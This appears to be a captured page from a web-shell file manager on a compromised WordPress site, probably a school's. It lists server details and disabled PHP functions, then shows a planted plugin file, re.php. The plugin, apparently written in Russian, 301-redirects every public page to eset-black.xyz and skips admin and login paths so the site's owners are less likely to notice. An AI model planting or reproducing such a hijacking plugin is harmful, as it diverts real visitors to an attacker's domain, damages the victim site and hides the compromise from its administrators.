HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/plugins/rex/re.php
<?php
/*
Plugin Name: Eset Black Instant Redirect
Plugin URI: https://eset-black.xyz/
Description: Перенаправляет все страницы сайта на https://eset-black.xyz/
Version: 1.0
Author: Ваше имя
Author URI: https://eset-black.xyz/
License: GPLv2 or later
*/

function eset_black_instant_redirect() {
    // URL для редиректа
    $redirect_url = 'https://eset-black.xyz/';
    
    // Проверяем, что это не админ-панель и не AJAX-запрос
    if (!is_admin() && (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') === false) && (strpos($_SERVER['REQUEST_URI'], 'wp-admin') === false) && (strpos($_SERVER['REQUEST_URI'], 'admin-ajax.php') === false)) {
        wp_redirect($redirect_url, 301);
        exit();
    }
}
add_action('template_redirect', 'eset_black_instant_redirect');